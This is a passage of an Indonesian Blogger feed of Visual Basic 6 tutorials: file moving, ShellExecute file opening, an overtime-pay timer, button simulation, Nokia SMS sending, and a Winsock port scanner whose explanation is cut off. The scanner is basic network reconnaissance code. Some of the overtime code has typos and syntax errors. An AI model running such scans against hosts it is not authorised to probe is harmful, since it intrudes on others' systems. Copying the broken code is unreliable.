‘direktori&lt;br /&gt;'c:\MyDir'.&lt;br /&gt;A = MoveFile("c:\MyFile.Zip", "c:\MyDir\MyFile.Zip")&lt;br /&gt;If A Then&lt;br /&gt;MsgBox "File berhasil dipindahkan!", _&lt;br /&gt;vbInformation, "Sukses Pindah File"&lt;br /&gt;Else&lt;br /&gt;MsgBox "Error. File belum dipindahkan!" &amp; _&lt;br /&gt;Chr(13) &amp; _&lt;br /&gt;"Kemungkinan file asal tidak ada" &amp; _&lt;br /&gt;Chr(13) &amp; _&lt;br /&gt;"atau file sudah ada di dalam " &amp; _&lt;br /&gt;Chr(13) &amp; _&lt;br /&gt;"direktori tujuan!", vbCritical, "Gagal _&lt;br /&gt;Pindah File"&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-6592119650728893362?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/6592119650728893362/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=6592119650728893362' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6592119650728893362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/6592119650728893362'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/memindahkan-file.html' title='Memindahkan File'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7078185570904043330</id><published>2008-11-20T21:46:00.007+07:00</published><updated>2009-05-12T06:31:33.166+07:00</updated><title type='text'>Membuka File Berdasarkan Ekstensi Program</title><content type='html'>Coding berikut ini mendemonstrasikan&lt;br /&gt;cara membuka file berdasarkan ekstensi&lt;br /&gt;programnya dengan mengklik ganda filenya.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project baru dengan 1 Form, 1 DriveListBox, 1&lt;br /&gt;DirListBox, dan 1 FileListBox.&lt;br /&gt;2. Ketik coding berikut ke dalam editor form yang bertalian.&lt;br /&gt;&lt;br /&gt;Ketik coding berikut ini pada Form.&lt;br /&gt;Option Explicit&lt;br /&gt;Private Declare Function ShellExecute Lib _&lt;br /&gt;"shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As _&lt;br /&gt;Long, ByVal lpszOp As String, ByVal lpszFile As _&lt;br /&gt;String, ByVal lpszParams As String, _&lt;br /&gt;ByVal lpszDir As String, ByVal FsShowCmd As Long) As _ Long&lt;br /&gt;Private Declare Function GetDesktopWindow Lib _&lt;br /&gt;"user32" () As Long&lt;br /&gt;Const SW_SHOWNORMAL = 1&lt;br /&gt;Const SE_ERR_FNF = 2&amp;amp;&lt;br /&gt;Const SE_ERR_PNF = 3&amp;amp;&lt;br /&gt;Const SE_ERR_ACCESSDENIED = 5&amp;amp;&lt;br /&gt;Const SE_ERR_OOM = 8&amp;amp;&lt;br /&gt;Const SE_ERR_DLLNOTFOUND = 32&amp;amp;&lt;br /&gt;Const SE_ERR_SHARE = 26&amp;amp;&lt;br /&gt;Const SE_ERR_ASSOCINCOMPLETE = 27&amp;amp;&lt;br /&gt;Const SE_ERR_DDETIMEOUT = 28&amp;amp;&lt;br /&gt;Const SE_ERR_DDEFAIL = 29&amp;amp;&lt;br /&gt;Const SE_ERR_DDEBUSY = 30&amp;amp;&lt;br /&gt;Const SE_ERR_NOASSOC = 31&amp;amp;&lt;br /&gt;Const ERROR_BAD_FORMAT = 11&amp;amp;&lt;br /&gt;Function OpenDocument(ByVal DocName As String) As Long&lt;br /&gt;Dim Scr_hDC As Long&lt;br /&gt;'Scr_hDC = GetDesktopWindow()&lt;br /&gt;OpenDocument = ShellExecute(Me.hwnd, "Open", _&lt;br /&gt;DocName, "", "C:\", SW_SHOWNORMAL)&lt;br /&gt;End Function&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Private Sub Dir1_Change()&lt;br /&gt;File1.Path = Dir1.Path&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Drive1_Change()&lt;br /&gt;Dir1.Path = Drive1.Drive&lt;br /&gt;End Sub&lt;br /&gt;Private Sub File1_DblClick()&lt;br /&gt;Dim r As Long, msg As String&lt;br /&gt;Dim str As String&lt;br /&gt;If Right(Dir1.Path, 1) = "\" Then&lt;br /&gt;str = Dir1.Path &amp;amp; File1.FileName&lt;br /&gt;Else&lt;br /&gt;str = Dir1.Path &amp;amp; "\" &amp;amp; File1.FileName&lt;br /&gt;End If&lt;br /&gt;Me.Caption = str&lt;br /&gt;r = OpenDocument(str)&lt;br /&gt;If r &lt;= 32 Then Select Case r Case SE_ERR_FNF msg = "File not found" Case SE_ERR_PNF msg = "Path not found" Case SE_ERR_ACCESSDENIED msg = "Access denied" Case SE_ERR_OOM msg = "Out of memory" Case SE_ERR_DLLNOTFOUND msg = "DLL not found" Case SE_ERR_SHARE msg = "A sharing violation occurred" Case SE_ERR_ASSOCINCOMPLETE msg = "Incomplete or invalid file association" Case SE_ERR_DDETIMEOUT msg = "DDE Time out" Case SE_ERR_DDEFAIL msg = "DDE transaction failed" Case SE_ERR_DDEBUSY msg = "DDE busy" Case SE_ERR_NOASSOC msg = "No association for file extension" Case ERROR_BAD_FORMAT msg = "Invalid EXE file or error in EXE image" Case Else msg = "Unknown error" End Select MsgBox msg End If End Sub  Silakan dicoba dan dikembangkan lagi..hehee... &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-7078185570904043330?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/7078185570904043330/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=7078185570904043330' title='2 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7078185570904043330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/7078185570904043330'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/membuka-file-berdasarkan-ekstensi.html' title='Membuka File Berdasarkan Ekstensi Program'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-4457933085315210493</id><published>2008-11-20T21:00:00.007+07:00</published><updated>2008-11-22T10:49:57.448+07:00</updated><title type='text'>Menghitung Lembur Berdasarkan Durasi Detik</title><content type='html'>Contoh sebuah aplikasi kecil menghitung besar uang lembur&lt;br /&gt;berdasarkan hitungan detik, termasuk perhitungan lewat tengah&lt;br /&gt;malam.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project baru dengan 1 Form, 11 Label, 11 Textbox, 2&lt;br /&gt;commandbutton, dan 2 control Timer.&lt;br /&gt;2. Beri nama dan urutan untuk setiap textbox sebagai berikut:&lt;br /&gt;- txtTglMulai&lt;br /&gt;- txtAwalLembur&lt;br /&gt;- txtJamSistem&lt;br /&gt;- txtDurasiLembur&lt;br /&gt;- txtTotalDetik&lt;br /&gt;- txtBesarUang&lt;br /&gt;- txtTglSistem&lt;br /&gt;- txtTglEsok&lt;br /&gt;- txtDurasiPertama&lt;br /&gt;- txtDurasiKedua&lt;br /&gt;- txtTampungDetik&lt;br /&gt;3. Beri nama masing-masing commandbutton dengan cmdMulai&lt;br /&gt;dan cmdStop.&lt;br /&gt;4. Set property Interval setiap Timer = 500, dan Enabled = False.&lt;br /&gt;5. Ketik coding berikut ke dalam form yang bertalian.&lt;br /&gt;&lt;br /&gt;Ketikkan coding berikut ini pada Form.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Dim totaldetik As Long&lt;br /&gt;Dim hh, mm, ss As Integer&lt;br /&gt;Dim tampungdetik As Long&lt;br /&gt;&lt;br /&gt;Private Sub cmdMulai_Click()&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;txtAwalLembur.Text = Time&lt;br /&gt;txtDurasiPertama.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")&lt;br /&gt;&lt;br /&gt;'Ditambah satu detik karena belum bulat ke 24:00:00&lt;br /&gt;'dan angka 24:00:00 tsb tidak valid utk Time&lt;br /&gt;txtTglMulai.Text = Format(Date, "dd/mm/yyyy")&lt;br /&gt;txtTglEsok.Text = Format(Date + 1, "dd/mm/yyyy")&lt;br /&gt;txtDurasiKedua.Text = 0&lt;br /&gt;txtTampungDetik.Text = 0&lt;br /&gt;cmdMulai.Enabled = False&lt;br /&gt;cmdStop.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub cmdStop_Click()&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;cmdStop.Enabled = False&lt;br /&gt;cmdMulai.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;txtTglSistem.Text = Format(Date, "dd/mm/yyyy")&lt;br /&gt;txtJamSistem.Text = Time&lt;br /&gt;If txtJamSistem.Text = "00:00:00" Then&lt;br /&gt;txtDurasiLembur.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")&lt;br /&gt;Else&lt;br /&gt;txtDurasiLembur.Text = _Format((CDate(txtJamSistem.Text) _-CDate(txtAwalLembur.Text)), "hh:mm:ss")&lt;br /&gt;End If&lt;br /&gt;If CDate(txtAwalLembur) = CDate(txtJamSistem) Then&lt;br /&gt;txtTampungDetik.Text = 0&lt;br /&gt;End If&lt;br /&gt;If CDate(txtTglSistem) = CDate(txtTglEsok) Then&lt;br /&gt;txtTglEsok.Text = Date + 1&lt;br /&gt;txtTotalDetik.Text = Format(totaldetik + 1, _&lt;br /&gt;"0,0")&lt;br /&gt;txtTampungDetik.Text = totaldetik + 1&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;End If&lt;br /&gt;hh = Hour(txtDurasiLembur)&lt;br /&gt;mm = Minute(txtDurasiLembur)&lt;br /&gt;ss = Second(txtDurasiLembur)&lt;br /&gt;totaldetik = hh * 3600 + mm * 60 + ss&lt;br /&gt;txtTotalDetik.Text = Format(totaldetik, "0,0")&lt;br /&gt;txtBesarUang.Text = Format(txtTotalDetik * 100, _&lt;br /&gt;"0,0")&lt;br /&gt;txtDurasiKedua.Text = Format(Val(txtTotalDetik) - _&lt;br /&gt;Val(txtTampungDetik), "0,0")&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Timer2_Timer()&lt;br /&gt;185&lt;br /&gt;txtTglSistem.Text = Format(Date, "dd/mm/yyyy")&lt;br /&gt;txtJamSistem.Text = Time&lt;br /&gt;If txtJamSistem.Text = "00:00:00" Then&lt;br /&gt;txtDurasiLembur.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")&lt;br /&gt;Else&lt;br /&gt;txtDurasiLembur.Text = _&lt;br /&gt;Format(CDate(txtJamSistem.Text) _+ CDate(txtDurasiPertama.Text) - _CDate("00:00:00"), "hh:mm:ss")&lt;br /&gt;End If&lt;br /&gt;If CDate(txtAwalLembur) = CDate(txtJamSistem) Then&lt;br /&gt;txtTampungDetik.Text = 0&lt;br /&gt;End If&lt;br /&gt;If CDate(txtTglSistem) = CDate(txtTglEsok) Then&lt;br /&gt;txtTglEsok.Text = Date + 1&lt;br /&gt;txtTotalDetik.Text = Format(totaldetik, "0,0")&lt;br /&gt;txtTampungDetik.Text = totaldetik + 1&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;End If&lt;br /&gt;hh = Hour(txtDurasiLembur)&lt;br /&gt;mm = Minute(txtDurasiLembur)&lt;br /&gt;ss = Second(txtDurasiLembur)&lt;br /&gt;totaldetik = hh * 3600 + mm * 60 + ss&lt;br /&gt;txtTotalDetik.Text = Format(totaldetik, "0,0")&lt;br /&gt;txtBesrUang.Text = Format(txtTotalDetik * 100, -"0,0")&lt;br /&gt;txtDurasiKedua.Text = Format(Val(txtTotalDetik) - _Val(txtTampungDetik), "0,0")&lt;br /&gt;End Sub&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-4457933085315210493?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/4457933085315210493/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=4457933085315210493' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4457933085315210493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/4457933085315210493'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/menghitung-lembur-berdasarkan-durasi.html' title='Menghitung Lembur Berdasarkan Durasi Detik'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8352834345620719856</id><published>2008-11-20T20:56:00.002+07:00</published><updated>2008-11-22T10:52:49.188+07:00</updated><title type='text'>Visualisasi Mengklik Tombol dari Coding</title><content type='html'>Membuat suatu tombol kelihatan diklik/ditekan melalui coding.&lt;br /&gt;Persiapan:&lt;br /&gt;&lt;br /&gt;1. Buat 1 Project baru dengan 1 Form, 1 Module, dan 3&lt;br /&gt;Commandbutton.&lt;br /&gt;2. Ketik coding berikut ke dalam editor form dan module yang&lt;br /&gt;bersangkutan.&lt;br /&gt;Ketika Anda mengklik Command2, Command1 akan kelihatan&lt;br /&gt;ditekan (masuk ke dalam).&lt;br /&gt;Ketika Anda mengklik Command3, Command1 akan kelihatan&lt;br /&gt;normal kembali.&lt;br /&gt;&lt;br /&gt;Ketikkan coding berikut ini pada Modul.&lt;br /&gt;&lt;br /&gt;Declare Function SendMessage Lib "user32" Alias _&lt;br /&gt;"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal&lt;br /&gt;wParam As Long, lParam As Any) As Long&lt;br /&gt;Public Const BM_SETSTATE = &amp;HF3&lt;br /&gt;Public Const WM_LBUTTONDOWN = &amp;H201&lt;br /&gt;Public Const WM_LBUTTONUP = &amp;H202&lt;br /&gt;&lt;br /&gt;Ketikkan Coding berikut ini pada Form.&lt;br /&gt;Private Sub Command2_Click() 'Command1 kelihatan masuk&lt;br /&gt;‘ke dalam (ditekan)&lt;br /&gt;Call SendMessage(Command1.hwnd, BM_SETSTATE, 1, _ByVal 0&amp;)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Command3_Click() 'Command1 normal kembali.&lt;br /&gt;Call SendMessage(Command1.hwnd, BM_SETSTATE, 0, _ByVal 0&amp;)&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Selamat mencoba dan berkreasi dengan ide kamu...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8352834345620719856?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8352834345620719856/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8352834345620719856' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8352834345620719856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8352834345620719856'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/visualisasi-mengklik-tombol-dari-coding.html' title='Visualisasi Mengklik Tombol dari Coding'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-3248564978253329286</id><published>2008-11-20T20:22:00.003+07:00</published><updated>2008-11-22T10:53:19.164+07:00</updated><title type='text'>Menekan Tombol di Form Lain</title><content type='html'>Menekan tombol yang terdapat di dalam form lainnya. Jika tombol di&lt;br /&gt;Form1 ditekan, maka tombol di Form2 juga akan bereaksi, dengan&lt;br /&gt;memunculkan suatu pesan.&lt;br /&gt;&lt;br /&gt;Persiapan:&lt;br /&gt;1. Buat 1 Project baru dengan 2 Form.&lt;br /&gt;2. Pada Form1 dan Form2 masing-masing buat 1 Commandbutton.&lt;br /&gt;3. Ketik coding berikut ke dalam editor form yang bertalian.&lt;br /&gt;Ketikkan coding berikut ini pada form.&lt;br /&gt;&lt;br /&gt;Ketikkan Coding di form1&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Form2.Command1.Value = True&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Ketikkan Coding di Form2&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;MsgBox "Tombol di Form2 diklik juga...", vbInformation,"Konfirmasi"&lt;br /&gt;&lt;br /&gt;Selamat mencoba dan kembangkan dengan idemu..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-3248564978253329286?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/3248564978253329286/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=3248564978253329286' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3248564978253329286'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/3248564978253329286'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/menekan-tombol-di-form-lain.html' title='Menekan Tombol di Form Lain'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-8214315210552567502</id><published>2008-11-05T12:44:00.008+07:00</published><updated>2008-11-22T10:55:07.449+07:00</updated><title type='text'>Program kirim SMS melalui PC</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Perangkat&lt;/span&gt;&lt;br /&gt;1. HP (Hanya untuk model nokia)&lt;br /&gt;2. Connecting Device (Seperti : Infrared, Kabel data, or Bluetooth)&lt;br /&gt;3. Download dan install program &lt;a href="http://www.forum.nokia.com/" target="_blank"&gt;Nokia PC Connectivity SDK&lt;/a&gt; yang sesuai dengan model ponsel Nokia yang kamu gunakan.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Prosedur&lt;/b&gt;&lt;br /&gt;1. Install semua alat koneksi (seperti :Infrared, DataCable, or Bluetooth) kedalam PC&lt;br /&gt;Perhatian : Pastikan setelah terinstall alat koneksi dengan HP terhubung dengan baik&lt;br /&gt;2. Install program aplikasi Nokia PC COnnectivity.&lt;br /&gt;3. Buka VB dan kemudian mulai dengan membuat project baru&lt;br /&gt;4. Add komponen Nokia dalam menu preferences yang ada di VB&lt;br /&gt;5. Kemudian isi dengan Script dibawah ini&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 255, 0);"&gt;&lt;br /&gt;Private Sub cmdSend_Click()&lt;br /&gt;On Error GoTo ErrorTrap&lt;br /&gt; &lt;br /&gt;   Dim message As String&lt;br /&gt;   message = txtMsg.Text&lt;br /&gt;   Select Case chkUnicode.Value&lt;br /&gt;   Case vbUnchecked&lt;br /&gt;       If (Len(message) &gt; SMS_TEXT_MAX_SIZE) Then&lt;br /&gt;           pMsgPart1 = Left(message, SMS_CONCATENATED_TEXT_MAX_SIZE)&lt;br /&gt;           pMsgPart2 = Right(message, Len(message) - SMS_CONCATENATED_TEXT_MAX_SIZE)&lt;br /&gt;           SendConcatenatedMessage&lt;br /&gt;           Exit Sub&lt;br /&gt;       End If&lt;br /&gt;   Case vbChecked&lt;br /&gt;       If (Len(message) &gt; SMS_UNICODE_MAX_SIZE) Then&lt;br /&gt;           pMsgPart1 = Left(message, SMS_CONCATENATED_UNICODE_MAX_SIZE)&lt;br /&gt;           pMsgPart2 = Right(message, Len(message) - SMS_CONCATENATED_UNICODE_MAX_SIZE)&lt;br /&gt;           SendConcatenatedMessage&lt;br /&gt;           Exit Sub&lt;br /&gt;       End If&lt;br /&gt;   Case Else&lt;br /&gt;       MsgBox ("Select coding scheme")&lt;br /&gt;   End Select&lt;br /&gt; &lt;br /&gt;   Dim smsEntry As NokiaCLMessaging.ShortMessageItem&lt;br /&gt;   Set smsEntry = New NokiaCLMessaging.ShortMessageItem&lt;br /&gt; &lt;br /&gt;   smsEntry.Type = SHORTMESSAGE_TYPE_GSM_SUBMIT&lt;br /&gt;   Set pIGSMSubmit = smsEntry.TypeProperties&lt;br /&gt; &lt;br /&gt;   pIGSMSubmit.message = txtMsg.Text&lt;br /&gt;   pIGSMSubmit.DestinationAddress = txtDestination.Text&lt;br /&gt;   pIGSMSubmit.ServiceCenterAddress = txtMsgCenter.Text&lt;br /&gt;   pIGSMSubmit.ProtocolID = 0&lt;br /&gt;   If (chkUnicode.Value = vbChecked) Then&lt;br /&gt;       pIGSMSubmit.DataCodingScheme = CODING_SCHEME_UNICODE&lt;br /&gt;   Else&lt;br /&gt;       pIGSMSubmit.DataCodingScheme = CODING_SCHEME_TEXT&lt;br /&gt;   End If&lt;br /&gt; &lt;br /&gt;   pIGSMSubmit.ValidityPeriodRelative = 255&lt;br /&gt; &lt;br /&gt;   Call pSMSAdapter.SendSMS(SHORTMESSAGE_ROUTE_TYPE_ANY, pIGSMSubmit)&lt;br /&gt;&lt;br /&gt;  'Insert your code here to store the sent message in the database.&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;   MsgBox "Message Sent TO " &amp;amp; txtDestination.Text &amp;amp; vbCrLf &amp;amp; "With Reference Number: " &amp;amp; pIGSMSubmit.MessageReference, vbOKOnly, "Message Sent"&lt;br /&gt; &lt;br /&gt;Exit Sub&lt;br /&gt;&lt;br /&gt;ErrorTrap:&lt;br /&gt;   If Err.Number = -2147467259 Or Err.Number = -2147467259 Then&lt;br /&gt;   End If&lt;br /&gt;   MsgBox Err.Description, vbInformation, "SMS Cannot Send"&lt;br /&gt;End Sub&lt;br /&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;&lt;br /&gt;Nah mudah bukan? Silakan kamu kembangkan sendiri dari aplikasi yang sudah dibuat penulis...&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7872901297791207431-8214315210552567502?l=vbthok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://vbthok.blogspot.com/feeds/8214315210552567502/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7872901297791207431&amp;postID=8214315210552567502' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8214315210552567502'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7872901297791207431/posts/default/8214315210552567502'/><link rel='alternate' type='text/html' href='http://vbthok.blogspot.com/2008/11/program-kirim-sms-melalui-pc.html' title='Program kirim SMS melalui PC'/><author><name>ToMeE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7872901297791207431.post-7996022795840578966</id><published>2008-11-05T11:41:00.010+07:00</published><updated>2008-11-22T10:56:31.885+07:00</updated><title type='text'>Membuat program Port Scanner</title><content type='html'>&lt;span style="color:SeaGreen;"&gt;&lt;span style="font-size:100%;"&gt;&lt;/span&gt;&lt;/span&gt;Disini penulis mencoba membuat program Port Scanner, dan komponen yang dibutuhkan untuk membuat port scanner adalah :&lt;br /&gt;&lt;br /&gt;2 Text boxes ( Text1,Text2 )&lt;br /&gt;1 ListBox ( List1 )&lt;br /&gt;3 Command Buttons ( Command1, Command2, Command3 )&lt;br /&gt;1 Timer ( Timer1 )&lt;br /&gt;1 Winsock Component ( Winsock1 )&lt;br /&gt;Jika kamu tidak tahu tempat dimana mengaktifkan komponen lihat gambar berikut&lt;br /&gt;&lt;br /&gt;&lt;img src="http://forum.codecall.net/images/Tutorials/3ev9.jpg" alt="" onload="NcodeImageResizer.createOn(this);" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Setelah tampil jendela komponen silakan kamu mencari komponen yang bernama "Microsoft Winsock Control 6.0 (SP6)"&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Berikut contoh komponen yang sudah ditemukan&lt;br /&gt;&lt;br /&gt;&lt;img src="http://forum.codecall.net/images/Tutorials/1ld1.jpg" alt="" onload="NcodeImageResizer.createOn(this);" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Oke sekarang silakan membuat form seperti dibawah ini atau kamu bisa membuat sendiri desain formnya dengan ide kamu sendiri&lt;br /&gt;&lt;br /&gt;&lt;img src="http://forum.codecall.net/images/Tutorials/2ty8.jpg" alt="" onload="NcodeImageResizer.createOn(this);" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Dan Berikut untuk kode lebih jelasnya&lt;br /&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 434px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Form_Load()&lt;br /&gt;Timer1.Interval = 1&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Text2.Text = "0"&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Timer1_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Winsock1.Close&lt;br /&gt;Text2.Text = Text2.Text + 1&lt;br /&gt;Winsock1.RemoteHost = Text1.Text&lt;br /&gt;Winsock1.RemotePort = Text2.Text&lt;br /&gt;Winsock1.Connect&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command1_Click()&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command2_Click()&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Text2.Text = "0"&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Command3_Click()&lt;br /&gt;List1.Clear&lt;br /&gt;End Sub&lt;br /&gt;Private Sub Winsock1_Connect()&lt;br /&gt;List1.AddItem Winsock1.RemotePort &amp;amp; " is open!"&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;span style="color:SeaGreen;"&gt;&lt;span style="font-size:100%;"&gt;Code Explanation:-&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 98px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Form_Load()&lt;br /&gt;Timer1.Interval = 1&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;Text2.Text = "0"&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre class="alt2" dir="ltr" style="border: 1px inset ; margin: 0px; padding: 6px; overflow: auto; width: 550px; height: 146px; text-align: left; font-family: Courier New,monospace;"&gt;Private Sub Timer1_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Winsock1.Close&lt;br /&gt;Text2.Text = Text2.Text + 1&lt;br /&gt;Winsock1.RemoteHost = Text1.Text&lt;br /&gt;Winsock1.RemotePort = Text2.Text&lt;br /&gt;Winsock1.Connect&lt;br /&gt;End Sub&lt;/pre&gt; &lt;/div&gt;&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;  &lt;div class="smallfont" style="margin-bottom: 2px;"&gt;Code:&lt;/div&gt;  &lt;pre 